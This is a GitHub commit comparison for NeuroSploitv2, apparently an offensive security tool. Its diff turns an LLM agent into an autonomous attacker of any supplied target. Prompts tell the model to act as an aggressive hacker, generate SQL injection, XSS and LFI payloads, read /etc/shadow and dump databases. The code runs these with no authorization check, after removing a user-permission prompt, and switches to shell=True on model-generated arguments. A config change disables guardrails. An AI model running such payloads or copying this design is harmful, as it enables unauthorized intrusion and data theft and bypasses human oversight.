Compare commits

...
7 Commits
Author SHA1 Message Date
Joas A SantosandGitHub fd6ef4d258 Add files via upload 2026-01-09 22:50:30 -03:00
Joas A SantosandGitHub d5899c19f4 Add files via upload 2026-01-09 22:48:39 -03:00
Joas A SantosandGitHub a3b58f8b5c Add files via upload 2026-01-09 22:45:49 -03:00
Joas A SantosandGitHub e1241a0f06 Add files via upload 2026-01-09 22:45:32 -03:00
Joas A SantosandGitHub 8e07eb940b Update README.md 2026-01-08 08:51:00 -03:00
Joas A SantosandGitHub c246030349 Merge pull request #6 from YatinChaubal/main
fix: handle missing placeholders in prompt template formatting
2026-01-06 10:37:38 -03:00
YatinChaubalandGitHub ee3232d843 fix: handle missing placeholders in prompt template formatting 2026-01-04 19:45:51 +05:30
19 changed files with 7735 additions and 691 deletions
+1 -1
View File
@@ -33,7 +33,7 @@ YouTube Demonstration Video: https://youtu.be/SQq1TVwlrxQ
1. **Clone the repository:** 1. **Clone the repository:**
```bash ```bash
git clone https://github.com/your-repo/NeuroSploitv2.git git clone https://github.com/CyberSecurityUP/NeuroSploitv2.git
cd NeuroSploitv2 cd NeuroSploitv2
``` ```
+635 -224
View File
@@ -1,267 +1,678 @@
import json import json
import logging import logging
from typing import Dict, Any, List, Optional
import re import re
import subprocess import subprocess
import shlex import shlex
import shutil
import urllib.parse
import os
from typing import Dict, Any, List, Optional, Tuple
from datetime import datetime
from core.llm_manager import LLMManager from core.llm_manager import LLMManager
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
class BaseAgent: class BaseAgent:
""" """
A generic agent class that orchestrates LLM interactions, tool usage, Autonomous AI-Powered Security Agent.
and adheres to specific agent roles (e.g., Red Team, Blue Team).
This agent operates like a real pentester:
1. Discovers attack surface dynamically
2. Analyzes responses intelligently
3. Adapts testing based on findings
4. Intensifies when it finds something interesting
5. Documents real PoCs
""" """
def __init__(self, agent_name: str, config: Dict, llm_manager: LLMManager, context_prompts: Dict): def __init__(self, agent_name: str, config: Dict, llm_manager: LLMManager, context_prompts: Dict):
self.agent_name = agent_name self.agent_name = agent_name
self.config = config self.config = config
self.llm_manager = llm_manager self.llm_manager = llm_manager
self.context_prompts = context_prompts # This will contain user_prompt and system_prompt for this agent role self.context_prompts = context_prompts
self.agent_role_config = self.config.get('agent_roles', {}).get(agent_name, {}) self.agent_role_config = self.config.get('agent_roles', {}).get(agent_name, {})
self.tools_allowed = self.agent_role_config.get('tools_allowed', []) self.tools_allowed = self.agent_role_config.get('tools_allowed', [])
self.description = self.agent_role_config.get('description', 'No description provided.') self.description = self.agent_role_config.get('description', 'Autonomous Security Tester')
logger.info(f"Initialized {self.agent_name} agent. Description: {self.description}") # Attack surface discovered
self.discovered_endpoints = []
self.discovered_params = []
self.discovered_forms = []
self.tech_stack = {}
def _prepare_prompt(self, user_input: str, additional_context: Dict = None) -> str: # Findings
""" self.vulnerabilities = []
Prepares the user prompt for the LLM, incorporating agent-specific instructions self.interesting_findings = []
and dynamic context. self.tool_history = []
"""
user_prompt_template = self.context_prompts.get("user_prompt", "")
if not user_prompt_template:
logger.warning(f"No user prompt template found for agent {self.agent_name}.")
return user_input # Fallback to raw user input
# Create a dictionary with all the possible placeholders and default values logger.info(f"Initialized {self.agent_name} - Autonomous Agent")
format_dict = {
"user_input": user_input, def _extract_targets(self, user_input: str) -> List[str]:
# For bug_bounty_hunter agent """Extract target URLs from input."""
"target_info_json": user_input, targets = []
"recon_data_json": json.dumps(additional_context or {}, indent=2),
# For red_team_agent if os.path.isfile(user_input.strip()):
"mission_objectives_json": user_input, with open(user_input.strip(), 'r') as f:
"target_environment_json": json.dumps(additional_context or {}, indent=2), for line in f:
# For pentest agent line = line.strip()
"scope_json": user_input, if line and not line.startswith('#'):
"initial_info_json": json.dumps(additional_context or {}, indent=2), targets.append(self._normalize_url(line))
# For blue_team_agent return targets
"logs_alerts_json": user_input,
"telemetry_json": json.dumps(additional_context or {}, indent=2), url_pattern = r'https?://[^\s<>"{}|\\^`\[\]]+'
# For exploit_expert agent urls = re.findall(url_pattern, user_input)
"vulnerability_details_json": user_input, if urls:
"target_info_json": json.dumps(additional_context or {}, indent=2), return [self._normalize_url(u) for u in urls]
# For cwe_expert agent
"code_vulnerability_json": user_input, domain_pattern = r'\b(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}\b'
# For malware_analysis agent domains = re.findall(domain_pattern, user_input)
"malware_sample_json": user_input, if domains:
# For replay_attack agent return [f"http://{d}" for d in domains]
"traffic_logs_json": user_input,
# Generic additional context return []
"additional_context_json": json.dumps(additional_context or {}, indent=2)
def _normalize_url(self, url: str) -> str:
url = url.strip()
if not url.startswith(('http://', 'https://')):
url = f"http://{url}"
return url
def _get_domain(self, url: str) -> str:
parsed = urllib.parse.urlparse(url)
return parsed.netloc or parsed.path.split('/')[0]
def run_command(self, tool: str, args: str, timeout: int = 60) -> Dict:
"""Execute command and capture output."""
result = {
"tool": tool,
"args": args,
"command": "",
"success": False,
"output": "",
"timestamp": datetime.now().isoformat()
} }
# Override with actual additional_context values if provided tool_path = self.config.get('tools', {}).get(tool) or shutil.which(tool)
if additional_context:
for key, value in additional_context.items(): if not tool_path:
if isinstance(value, (dict, list)): result["output"] = f"[!] Tool '{tool}' not found - using alternative"
format_dict[f"{key}_json"] = json.dumps(value, indent=2) logger.warning(f"Tool not found: {tool}")
else: self.tool_history.append(result)
format_dict[key] = value return result
# Use a safe way to format, only including keys that exist in the template
try: try:
formatted_prompt = user_prompt_template.format_map(format_dict) if tool == "curl":
except KeyError as e: cmd = f"{tool_path} {args}"
logger.error(f"Missing key in format_dict: {e}")
# Fallback to user input if formatting fails
return user_input
return formatted_prompt
def execute(self, user_input: str, campaign_data: Dict = None) -> Dict:
"""
Executes the agent's task using the LLM and potentially external tools.
`campaign_data` can be used to pass ongoing results or context between agent executions.
"""
logger.info(f"Executing {self.agent_name} agent for input: {user_input[:50]}...")
system_prompt = self.context_prompts.get("system_prompt", "")
if not system_prompt:
logger.warning(f"No system prompt found for agent {self.agent_name}. Using generic system prompt.")
system_prompt = f"You are an expert {self.agent_name}. Analyze the provided information and generate a response."
# Prepare the user prompt with current input and campaign data
prepared_user_prompt = self._prepare_prompt(user_input, campaign_data)
# Loop for tool usage
for _ in range(5): # Limit to 5 iterations to prevent infinite loops
llm_response_text = self.llm_manager.generate(prepared_user_prompt, system_prompt)
tool_name, tool_args = self._parse_llm_response(llm_response_text)
if tool_name:
if tool_name in self.config.get('tools', {}):
tool_path = self.config['tools'][tool_name]
tool_output = self._execute_tool(tool_path, tool_args)
prepared_user_prompt += f"\n\n[TOOL_OUTPUT]\n{tool_output}"
else: else:
if self._ask_for_permission(f"Tool '{tool_name}' not found. Do you want to try to download it?"): cmd = f"{tool_path} {args}"
self.download_tool(tool_name)
# We don't execute the tool in this iteration, but the LLM can try again in the next one
prepared_user_prompt += f"\n\n[TOOL_DOWNLOAD] Tool '{tool_name}' downloaded."
else:
prepared_user_prompt += f"\n\n[TOOL_ERROR] Tool '{tool_name}' not found and permission to download was denied."
else:
return {"agent_name": self.agent_name, "input": user_input, "llm_response": llm_response_text}
return {"agent_name": self.agent_name, "input": user_input, "llm_response": llm_response_text} result["command"] = cmd
print(f" [>] {tool}: {args[:80]}{'...' if len(args) > 80 else ''}")
def _parse_llm_response(self, response: str) -> (Optional[str], Optional[str]): proc = subprocess.run(
"""
Parses the LLM response to find a tool to use.
Supports both single tool format and multiple tool chain format.
"""
# Single tool format: [TOOL] toolname: args
match = re.search(r"\[TOOL\]\s*(\w+)\s*:\s*(.*?)(?:\n|$)", response, re.MULTILINE)
if match:
return match.group(1), match.group(2).strip()
return None, None
def _parse_all_tools(self, response: str) -> List[tuple]:
"""
Parse multiple tool calls from LLM response for tool chaining.
Returns list of (tool_name, tool_args) tuples.
"""
tools = []
pattern = r"\[TOOL\]\s*(\w+)\s*:\s*(.*?)(?=\[TOOL\]|$)"
matches = re.finditer(pattern, response, re.MULTILINE | re.DOTALL)
for match in matches:
tool_name = match.group(1)
tool_args = match.group(2).strip()
tools.append((tool_name, tool_args))
logger.debug(f"Parsed {len(tools)} tool calls from LLM response")
return tools
def execute_tool_chain(self, tools: List[tuple]) -> List[Dict]:
"""
Execute multiple tools in sequence (tool chaining).
Args:
tools: List of (tool_name, tool_args) tuples
Returns:
List[Dict]: Results from each tool execution
"""
results = []
for tool_name, tool_args in tools:
logger.info(f"Executing tool in chain: {tool_name}")
# Check if tool is allowed for this agent
if tool_name not in self.tools_allowed and self.tools_allowed:
logger.warning(f"Tool '{tool_name}' not allowed for agent {self.agent_name}")
results.append({
"tool": tool_name,
"status": "denied",
"output": f"Tool '{tool_name}' not in allowed tools list"
})
continue
# Check if tool exists in config
if tool_name not in self.config.get('tools', {}):
logger.warning(f"Tool '{tool_name}' not found in configuration")
results.append({
"tool": tool_name,
"status": "not_found",
"output": f"Tool '{tool_name}' not configured"
})
continue
# Execute the tool
tool_path = self.config['tools'][tool_name]
output = self._execute_tool(tool_path, tool_args)
results.append({
"tool": tool_name,
"args": tool_args,
"status": "executed",
"output": output
})
return results
def _execute_tool(self, tool_path: str, args: str) -> str:
"""
Executes a tool safely and returns the output.
Uses shlex for safe argument parsing and includes timeout protection.
"""
try:
# Sanitize and validate tool path
if not tool_path or '..' in tool_path:
return f"[ERROR] Invalid tool path: {tool_path}"
# Parse arguments safely using shlex
try:
args_list = shlex.split(args) if args else []
except ValueError as e:
return f"[ERROR] Invalid arguments: {e}"
# Build command list (no shell=True for security)
cmd = [tool_path] + args_list
logger.info(f"Executing tool: {' '.join(cmd)}")
# Execute with timeout (60 seconds default)
result = subprocess.run(
cmd, cmd,
shell=True,
capture_output=True, capture_output=True,
text=True, text=True,
timeout=60, timeout=timeout
shell=False # Security: never use shell=True
) )
# Combine stdout and stderr output = proc.stdout or proc.stderr
output = "" result["output"] = output[:8000] if output else "[No output]"
if result.stdout: result["success"] = proc.returncode == 0
output += f"[STDOUT]\n{result.stdout}\n"
if result.stderr:
output += f"[STDERR]\n{result.stderr}\n"
if result.returncode != 0:
output += f"[EXIT_CODE] {result.returncode}\n"
return output if output else "[NO_OUTPUT]"
except subprocess.TimeoutExpired: except subprocess.TimeoutExpired:
logger.error(f"Tool execution timeout: {tool_path}") result["output"] = f"[!] Timeout after {timeout}s"
return f"[ERROR] Tool execution timeout after 60 seconds"
except FileNotFoundError:
logger.error(f"Tool not found: {tool_path}")
return f"[ERROR] Tool not found at path: {tool_path}"
except PermissionError:
logger.error(f"Permission denied executing: {tool_path}")
return f"[ERROR] Permission denied for tool: {tool_path}"
except Exception as e: except Exception as e:
logger.error(f"Unexpected error executing tool: {e}") result["output"] = f"[!] Error: {str(e)}"
return f"[ERROR] Unexpected error: {str(e)}"
def _ask_for_permission(self, message: str) -> bool: self.tool_history.append(result)
"""Asks the user for permission.""" return result
response = input(f"{message} (y/n): ").lower()
return response == 'y'
def download_tool(self, tool_name: str): def execute(self, user_input: str, campaign_data: Dict = None) -> Dict:
"""Downloads a tool.""" """Execute autonomous security assessment."""
# This is a placeholder for a more sophisticated tool download mechanism. targets = self._extract_targets(user_input)
# For now, we'll just log the request.
logger.info(f"User requested to download tool: {tool_name}") if not targets:
print(f"Downloading tool '{tool_name}'... (This is a placeholder, no actual download will be performed)") return {
"error": "No targets found",
"llm_response": "Please provide a URL, domain, IP, or file with targets."
}
print(f"\n{'='*70}")
print(f" NEUROSPLOIT AUTONOMOUS AGENT - {self.agent_name.upper()}")
print(f"{'='*70}")
print(f" Mode: Adaptive AI-Driven Testing")
print(f" Targets: {len(targets)}")
print(f"{'='*70}\n")
all_findings = []
for idx, target in enumerate(targets, 1):
if len(targets) > 1:
print(f"\n[TARGET {idx}/{len(targets)}] {target}")
print("=" * 60)
self.tool_history = []
self.vulnerabilities = []
self.discovered_endpoints = []
findings = self._autonomous_assessment(target)
all_findings.extend(findings)
final_report = self._generate_final_report(targets, all_findings)
return {
"agent_name": self.agent_name,
"input": user_input,
"targets": targets,
"targets_count": len(targets),
"tools_executed": len(self.tool_history),
"vulnerabilities_found": len(self.vulnerabilities),
"findings": all_findings,
"llm_response": final_report,
"scan_data": {
"targets": targets,
"tools_executed": len(self.tool_history),
"endpoints_discovered": len(self.discovered_endpoints)
}
}
def _autonomous_assessment(self, target: str) -> List[Dict]:
"""
Autonomous assessment with AI-driven adaptation.
The AI analyzes each response and decides next steps.
"""
# Phase 1: Initial Reconnaissance & Discovery
print(f"\n[PHASE 1] Autonomous Discovery - {target}")
print("-" * 50)
discovery_data = self._discover_attack_surface(target)
# Phase 2: AI Analysis of Attack Surface
print(f"\n[PHASE 2] AI Attack Surface Analysis")
print("-" * 50)
attack_plan = self._ai_analyze_attack_surface(target, discovery_data)
# Phase 3: Adaptive Exploitation Loop
print(f"\n[PHASE 3] Adaptive Exploitation")
print("-" * 50)
self._adaptive_exploitation_loop(target, attack_plan)
# Phase 4: Deep Dive on Findings
print(f"\n[PHASE 4] Deep Exploitation of Findings")
print("-" * 50)
self._deep_exploitation(target)
return self.tool_history
def _discover_attack_surface(self, target: str) -> Dict:
"""Dynamically discover all attack vectors."""
discovery = {
"base_response": "",
"headers": {},
"endpoints": [],
"params": [],
"forms": [],
"tech_hints": [],
"interesting_files": []
}
# Get base response
result = self.run_command("curl", f'-s -k -L -D - "{target}"')
discovery["base_response"] = result.get("output", "")
# Extract headers
headers_match = re.findall(r'^([A-Za-z-]+):\s*(.+)$', discovery["base_response"], re.MULTILINE)
discovery["headers"] = dict(headers_match)
# Get HTML and extract links
html_result = self.run_command("curl", f'-s -k "{target}"')
html = html_result.get("output", "")
# Extract all links
links = re.findall(r'(?:href|src|action)=["\']([^"\']+)["\']', html, re.IGNORECASE)
for link in links:
if not link.startswith(('http://', 'https://', '//', '#', 'javascript:', 'mailto:')):
full_url = urllib.parse.urljoin(target, link)
if full_url not in discovery["endpoints"]:
discovery["endpoints"].append(full_url)
elif link.startswith('/'):
full_url = urllib.parse.urljoin(target, link)
if full_url not in discovery["endpoints"]:
discovery["endpoints"].append(full_url)
# Extract forms and inputs
forms = re.findall(r'<form[^>]*action=["\']([^"\']*)["\'][^>]*>(.*?)</form>', html, re.IGNORECASE | re.DOTALL)
for action, form_content in forms:
inputs = re.findall(r'<input[^>]*name=["\']([^"\']+)["\']', form_content, re.IGNORECASE)
discovery["forms"].append({
"action": urllib.parse.urljoin(target, action) if action else target,
"inputs": inputs
})
# Extract URL parameters from links
for endpoint in discovery["endpoints"]:
parsed = urllib.parse.urlparse(endpoint)
params = urllib.parse.parse_qs(parsed.query)
for param in params.keys():
if param not in discovery["params"]:
discovery["params"].append(param)
# Check common files
common_files = [
"robots.txt", "sitemap.xml", ".htaccess", "crossdomain.xml",
"phpinfo.php", "info.php", "test.php", "admin/", "login.php",
"wp-config.php.bak", ".git/config", ".env", "config.php.bak"
]
for file in common_files[:8]:
result = self.run_command("curl", f'-s -k -o /dev/null -w "%{{http_code}}" "{target}/{file}"')
if result.get("output", "").strip() in ["200", "301", "302", "403"]:
discovery["interesting_files"].append(f"{target}/{file}")
# Detect technologies
tech_patterns = {
"PHP": [r'\.php', r'PHPSESSID', r'X-Powered-By:.*PHP'],
"ASP.NET": [r'\.aspx?', r'ASP\.NET', r'__VIEWSTATE'],
"Java": [r'\.jsp', r'JSESSIONID', r'\.do\b'],
"Python": [r'Django', r'Flask', r'\.py'],
"WordPress": [r'wp-content', r'wp-includes'],
"MySQL": [r'mysql', r'MariaDB'],
}
full_response = discovery["base_response"] + html
for tech, patterns in tech_patterns.items():
for pattern in patterns:
if re.search(pattern, full_response, re.IGNORECASE):
if tech not in discovery["tech_hints"]:
discovery["tech_hints"].append(tech)
self.discovered_endpoints = discovery["endpoints"]
print(f" [+] Discovered {len(discovery['endpoints'])} endpoints")
print(f" [+] Found {len(discovery['params'])} parameters")
print(f" [+] Found {len(discovery['forms'])} forms")
print(f" [+] Tech hints: {', '.join(discovery['tech_hints']) or 'Unknown'}")
return discovery
def _ai_analyze_attack_surface(self, target: str, discovery: Dict) -> str:
"""AI analyzes discovered surface and creates attack plan."""
analysis_prompt = f"""You are an elite penetration tester analyzing an attack surface.
TARGET: {target}
=== DISCOVERED ATTACK SURFACE ===
**Endpoints Found ({len(discovery['endpoints'])}):**
{chr(10).join(discovery['endpoints'][:20])}
**Parameters Found:**
{', '.join(discovery['params'][:20])}
**Forms Found:**
{json.dumps(discovery['forms'][:10], indent=2)}
**Technologies Detected:**
{', '.join(discovery['tech_hints'])}
**Interesting Files:**
{chr(10).join(discovery['interesting_files'])}
**Response Headers:**
{json.dumps(dict(list(discovery['headers'].items())[:10]), indent=2)}
=== YOUR TASK ===
Analyze this attack surface and output SPECIFIC tests to run.
For each test, output in this EXACT format:
[TEST] curl -s -k "[URL_WITH_PAYLOAD]"
[TEST] curl -s -k "[URL]" -d "param=payload"
Focus on:
1. SQL Injection - test EVERY parameter with: ' " 1 OR 1=1 UNION SELECT
2. XSS - test inputs with: <script>alert(1)</script> <img src=x onerror=alert(1)>
3. LFI - test file params with: ../../etc/passwd php://filter
4. Auth bypass - test login forms with SQLi
5. IDOR - test ID params with different values
Output at least 20 specific [TEST] commands targeting the discovered endpoints and parameters.
Be creative. Think like a hacker. Test edge cases."""
system = """You are an offensive security expert. Output specific curl commands to test vulnerabilities.
Each command must be prefixed with [TEST] and be a complete, executable curl command.
Target the actual endpoints and parameters discovered. Be aggressive."""
response = self.llm_manager.generate(analysis_prompt, system)
# Extract and run the tests
tests = re.findall(r'\[TEST\]\s*(.+?)(?=\[TEST\]|\Z)', response, re.DOTALL)
print(f" [+] AI generated {len(tests)} targeted tests")
for test in tests[:25]:
test = test.strip()
if test.startswith('curl'):
# Extract just the curl command
cmd_match = re.match(r'(curl\s+.+?)(?:\n|$)', test)
if cmd_match:
cmd = cmd_match.group(1).strip()
# Remove the 'curl' part and run
args = cmd[4:].strip()
self.run_command("curl", args)
return response
def _adaptive_exploitation_loop(self, target: str, attack_plan: str):
"""
AI-driven exploitation loop.
The AI analyzes results and decides what to test next.
"""
for iteration in range(10):
print(f"\n [*] AI Exploitation Iteration {iteration + 1}")
# Build context from recent results
recent_results = self.tool_history[-15:] if len(self.tool_history) > 15 else self.tool_history
context = "=== RECENT TEST RESULTS ===\n\n"
for cmd in recent_results:
output = cmd.get('output', '')[:2000]
context += f"Command: {cmd.get('command', '')[:200]}\n"
context += f"Output: {output}\n\n"
exploitation_prompt = f"""You are actively exploiting {target}.
{context}
=== ANALYZE AND DECIDE NEXT STEPS ===
Look at the results above. Identify:
1. SQL errors (mysql_fetch, syntax error, ODBC, etc.) = SQLi CONFIRMED - exploit further!
2. XSS reflection (your payload appears in output) = XSS CONFIRMED - try variations!
3. File contents (root:x:0, [boot loader], etc.) = LFI CONFIRMED - read more files!
4. Authentication bypassed = Document and explore!
5. Error messages revealing info = Use for further attacks!
If you found something interesting, DIG DEEPER with variations.
If a test returned errors, try different payloads.
Output your next tests as:
[EXEC] curl: [arguments]
Or if you've thoroughly tested and found enough, respond with [DONE]
Be aggressive. Vary payloads. Test edge cases. Chain vulnerabilities."""
system = """You are an elite hacker in the middle of exploiting a target.
Analyze results, identify vulnerabilities, and output next commands.
Format: [EXEC] tool: arguments
When done, say [DONE]"""
response = self.llm_manager.generate(exploitation_prompt, system)
if "[DONE]" in response:
print(" [*] AI completed exploitation phase")
break
# Parse and execute commands
commands = self._parse_ai_commands(response)
if not commands:
print(" [*] No more commands, moving to next phase")
break
print(f" [*] AI requested {len(commands)} tests")
for tool, args in commands[:10]:
result = self.run_command(tool, args, timeout=60)
# Check for vulnerability indicators in response
self._check_vuln_indicators(result)
def _check_vuln_indicators(self, result: Dict):
"""Check command output for vulnerability indicators."""
output = result.get("output", "").lower()
cmd = result.get("command", "")
vuln_patterns = {
"SQL Injection": [
r"mysql.*error", r"syntax.*error.*sql", r"odbc.*driver",
r"postgresql.*error", r"ora-\d{5}", r"microsoft.*sql.*server",
r"you have an error in your sql", r"mysql_fetch", r"unclosed quotation"
],
"XSS": [
r"<script>alert", r"onerror=alert", r"<svg.*onload",
r"javascript:alert", r"<img.*onerror"
],
"LFI": [
r"root:x:0:0", r"\[boot loader\]", r"localhost.*hosts",
r"<?php", r"#!/bin/bash", r"#!/usr/bin/env"
],
"Information Disclosure": [
r"phpinfo\(\)", r"server.*version", r"x-powered-by",
r"stack.*trace", r"exception.*in", r"debug.*mode"
]
}
for vuln_type, patterns in vuln_patterns.items():
for pattern in patterns:
if re.search(pattern, output, re.IGNORECASE):
finding = {
"type": vuln_type,
"command": cmd,
"evidence": output[:500],
"timestamp": datetime.now().isoformat()
}
if finding not in self.vulnerabilities:
self.vulnerabilities.append(finding)
print(f" [!] FOUND: {vuln_type}")
def _deep_exploitation(self, target: str):
"""Deep dive into confirmed vulnerabilities."""
if not self.vulnerabilities:
print(" [*] No confirmed vulns to deep exploit, running additional tests...")
# Run additional aggressive tests
additional_tests = [
f'-s -k "{target}/listproducts.php?cat=1\'"',
f'-s -k "{target}/artists.php?artist=1 UNION SELECT 1,2,3,4,5,6--"',
f'-s -k "{target}/search.php?test=<script>alert(document.domain)</script>"',
f'-s -k "{target}/showimage.php?file=....//....//....//etc/passwd"',
f'-s -k "{target}/AJAX/infoartist.php?id=1\' OR \'1\'=\'1"',
f'-s -k "{target}/hpp/?pp=12"',
f'-s -k "{target}/comment.php" -d "name=test&text=<script>alert(1)</script>"',
]
for args in additional_tests:
result = self.run_command("curl", args)
self._check_vuln_indicators(result)
# For each confirmed vulnerability, try to exploit further
for vuln in self.vulnerabilities[:5]:
print(f"\n [*] Deep exploiting: {vuln['type']}")
deep_prompt = f"""A {vuln['type']} vulnerability was confirmed.
Command that found it: {vuln['command']}
Evidence: {vuln['evidence'][:1000]}
Generate 5 commands to exploit this further:
- For SQLi: Try to extract database names, tables, dump data
- For XSS: Try different payloads, DOM XSS, stored XSS
- For LFI: Read sensitive files like /etc/shadow, config files, source code
Output as:
[EXEC] curl: [arguments]"""
system = "You are exploiting a confirmed vulnerability. Go deeper."
response = self.llm_manager.generate(deep_prompt, system)
commands = self._parse_ai_commands(response)
for tool, args in commands[:5]:
self.run_command(tool, args, timeout=90)
def _parse_ai_commands(self, response: str) -> List[Tuple[str, str]]:
"""Parse AI commands from response."""
commands = []
patterns = [
r'\[EXEC\]\s*(\w+):\s*(.+?)(?=\[EXEC\]|\[DONE\]|\Z)',
r'\[TEST\]\s*(curl)\s+(.+?)(?=\[TEST\]|\[DONE\]|\Z)',
]
for pattern in patterns:
matches = re.findall(pattern, response, re.DOTALL | re.IGNORECASE)
for match in matches:
tool = match[0].strip().lower()
args = match[1].strip().split('\n')[0]
args = re.sub(r'[`"\']$', '', args)
if tool in ['curl', 'nmap', 'sqlmap', 'nikto', 'nuclei', 'ffuf', 'gobuster', 'whatweb']:
commands.append((tool, args))
return commands
def _generate_final_report(self, targets: List[str], findings: List[Dict]) -> str:
"""Generate comprehensive penetration test report."""
# Build detailed context
context = "=== COMPLETE TEST RESULTS ===\n\n"
# Group by potential vulnerability type
sqli_results = []
xss_results = []
lfi_results = []
other_results = []
for cmd in findings:
output = cmd.get('output', '')
command = cmd.get('command', '')
if any(x in command.lower() for x in ["'", "or 1=1", "union", "select"]):
sqli_results.append(cmd)
elif any(x in command.lower() for x in ["script", "alert", "onerror", "xss"]):
xss_results.append(cmd)
elif any(x in command.lower() for x in ["../", "etc/passwd", "php://filter"]):
lfi_results.append(cmd)
else:
other_results.append(cmd)
context += "--- SQL INJECTION TESTS ---\n"
for cmd in sqli_results[:10]:
context += f"CMD: {cmd.get('command', '')[:150]}\n"
context += f"OUT: {cmd.get('output', '')[:800]}\n\n"
context += "\n--- XSS TESTS ---\n"
for cmd in xss_results[:10]:
context += f"CMD: {cmd.get('command', '')[:150]}\n"
context += f"OUT: {cmd.get('output', '')[:800]}\n\n"
context += "\n--- LFI TESTS ---\n"
for cmd in lfi_results[:10]:
context += f"CMD: {cmd.get('command', '')[:150]}\n"
context += f"OUT: {cmd.get('output', '')[:800]}\n\n"
context += "\n--- OTHER TESTS ---\n"
for cmd in other_results[:15]:
if cmd.get('output'):
context += f"CMD: {cmd.get('command', '')[:150]}\n"
context += f"OUT: {cmd.get('output', '')[:500]}\n\n"
report_prompt = f"""Generate a PROFESSIONAL penetration test report from these REAL scan results.
TARGET: {', '.join(targets)}
{context}
=== CONFIRMED VULNERABILITIES DETECTED ===
{json.dumps(self.vulnerabilities, indent=2) if self.vulnerabilities else "Analyze the outputs above to find vulnerabilities!"}
=== REPORT FORMAT (FOLLOW EXACTLY) ===
# Executive Summary
[2-3 sentences: what was tested, critical findings, risk level]
# Vulnerabilities Found
For EACH vulnerability (analyze the scan outputs!):
---
## [CRITICAL/HIGH/MEDIUM/LOW] Vulnerability Name
| Field | Value |
|-------|-------|
| Severity | Critical/High/Medium/Low |
| CVSS | Score |
| CWE | CWE-XX |
| Location | Exact URL |
### Description
What this vulnerability is and why it's dangerous.
### Proof of Concept
**Request:**
```bash
curl "[exact command from scan results]"
```
**Payload:**
```
[exact payload that triggered the vulnerability]
```
**Response Evidence:**
```
[paste the ACTUAL response showing the vulnerability - SQL error message, XSS reflection, file contents, etc.]
```
### Impact
What an attacker can do with this vulnerability.
### Remediation
How to fix it.
---
# Summary
| # | Vulnerability | Severity | URL |
|---|--------------|----------|-----|
[table of all findings]
# Recommendations
[Priority-ordered remediation steps]
---
CRITICAL:
- LOOK at the actual outputs in the scan results
- If you see SQL errors like "mysql", "syntax error" = SQL INJECTION
- If you see your script tags reflected = XSS
- If you see file contents like "root:x:0:0" = LFI
- INCLUDE the actual evidence from the scans
- testphp.vulnweb.com HAS known vulnerabilities - find them in the results!"""
system = """You are a senior penetration tester writing a professional report.
Analyze the ACTUAL scan results provided and document REAL vulnerabilities found.
Include working PoCs with exact commands and evidence from the outputs.
Do NOT say "no vulnerabilities" if there is evidence of vulnerabilities in the scan data."""
return self.llm_manager.generate(report_prompt, system)
def get_allowed_tools(self) -> List[str]: def get_allowed_tools(self) -> List[str]:
"""Returns the list of tools allowed for this agent role."""
return self.tools_allowed return self.tools_allowed
+22 -10
View File
@@ -46,17 +46,17 @@
}, },
"claude_opus_default": { "claude_opus_default": {
"provider": "claude", "provider": "claude",
"model": "claude-3-opus-20240229", "model": "claude-sonnet-4-20250514",
"api_key": "${ANTHROPIC_API_KEY}", "api_key": "${ANTHROPIC_API_KEY}",
"temperature": 0.7, "temperature": 0.8,
"max_tokens": 4096, "max_tokens": 8192,
"input_token_limit": 200000, "input_token_limit": 200000,
"output_token_limit": 4096, "output_token_limit": 8192,
"cache_enabled": true, "cache_enabled": false,
"search_context_level": "high", "search_context_level": "high",
"pdf_support_enabled": true, "pdf_support_enabled": false,
"guardrails_enabled": true, "guardrails_enabled": false,
"hallucination_mitigation_strategy": "self_reflection" "hallucination_mitigation_strategy": null
}, },
"gpt_4o_default": { "gpt_4o_default": {
"provider": "gpt", "provider": "gpt",
@@ -171,8 +171,20 @@
"nmap": "/usr/bin/nmap", "nmap": "/usr/bin/nmap",
"metasploit": "/usr/bin/msfconsole", "metasploit": "/usr/bin/msfconsole",
"burpsuite": "/usr/bin/burpsuite", "burpsuite": "/usr/bin/burpsuite",
"sqlmap": "/usr/bin/sqlmap", "sqlmap": "/usr/local/bin/sqlmap",
"hydra": "/usr/bin/hydra" "hydra": "/usr/bin/hydra",
"nuclei": "/usr/local/bin/nuclei",
"nikto": "/usr/bin/nikto",
"gobuster": "/usr/bin/gobuster",
"ffuf": "/usr/bin/ffuf",
"subfinder": "/opt/homebrew/bin/subfinder",
"httpx": "/usr/local/bin/httpx",
"whatweb": "/usr/bin/whatweb",
"curl": "/usr/bin/curl",
"wpscan": "/usr/bin/wpscan",
"dirsearch": "/usr/local/bin/dirsearch",
"wafw00f": "/usr/local/bin/wafw00f",
"jq": "/usr/bin/jq"
}, },
"output": { "output": {
"format": "json", "format": "json",
+1
View File
@@ -0,0 +1 @@
.
+264 -41
View File
@@ -7,11 +7,17 @@ Supports: Claude, GPT, Gemini, Ollama, and custom models
import os import os
import json import json
import subprocess import subprocess
import time
from typing import Dict, List, Optional, Any from typing import Dict, List, Optional, Any
import logging import logging
import requests import requests
from pathlib import Path # Added for Path from pathlib import Path
import re # Added for regex operations import re
# Retry configuration
MAX_RETRIES = 3
RETRY_DELAY = 1.0 # seconds
RETRY_MULTIPLIER = 2.0
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@@ -58,7 +64,7 @@ class LLMManager:
return api_key_config return api_key_config
def _load_all_prompts(self) -> Dict: def _load_all_prompts(self) -> Dict:
"""Load prompts from both JSON library and Markdown library files.""" """Load prompts from JSON library and Markdown files (both prompts/ and prompts/md_library/)."""
all_prompts = { all_prompts = {
"json_prompts": {}, "json_prompts": {},
"md_prompts": {} "md_prompts": {}
@@ -75,32 +81,45 @@ class LLMManager:
else: else:
logger.warning(f"JSON prompts file not found at {self.json_prompts_file_path}. Some AI functionalities might be limited.") logger.warning(f"JSON prompts file not found at {self.json_prompts_file_path}. Some AI functionalities might be limited.")
# Load from Markdown library # Load from both prompts/ root and prompts/md_library/
if self.md_prompts_dir_path.is_dir(): prompts_root = Path("prompts")
for md_file in self.md_prompts_dir_path.glob("*.md"): md_dirs = [prompts_root, self.md_prompts_dir_path]
for md_dir in md_dirs:
if md_dir.is_dir():
for md_file in md_dir.glob("*.md"):
try: try:
content = md_file.read_text() content = md_file.read_text()
prompt_name = md_file.stem # Use filename as prompt name prompt_name = md_file.stem # Use filename as prompt name
# Skip if already loaded (md_library has priority)
if prompt_name in all_prompts["md_prompts"]:
continue
# Try structured format first (## User Prompt / ## System Prompt)
